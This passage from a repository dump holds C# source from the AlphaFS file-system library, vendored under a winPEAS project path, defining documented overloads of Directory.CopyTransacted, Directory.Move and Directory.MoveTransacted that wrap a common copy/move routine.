cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.Move.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Moves a file or a directory and its contents to a new location.</summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      [SecurityCritical]\n      public static void Move(string sourcePath, string destinationPath)\n      {\n         CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = MoveOptions.None\n         });\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location.</summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = MoveOptions.None,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = moveOptions\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = moveOptions,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref=\"MoveOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref=\"MoveOptions\"/> can be specified,\n      ///   and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.MoveTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location.</summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location.</summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = moveOptions\n         });\n      }\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   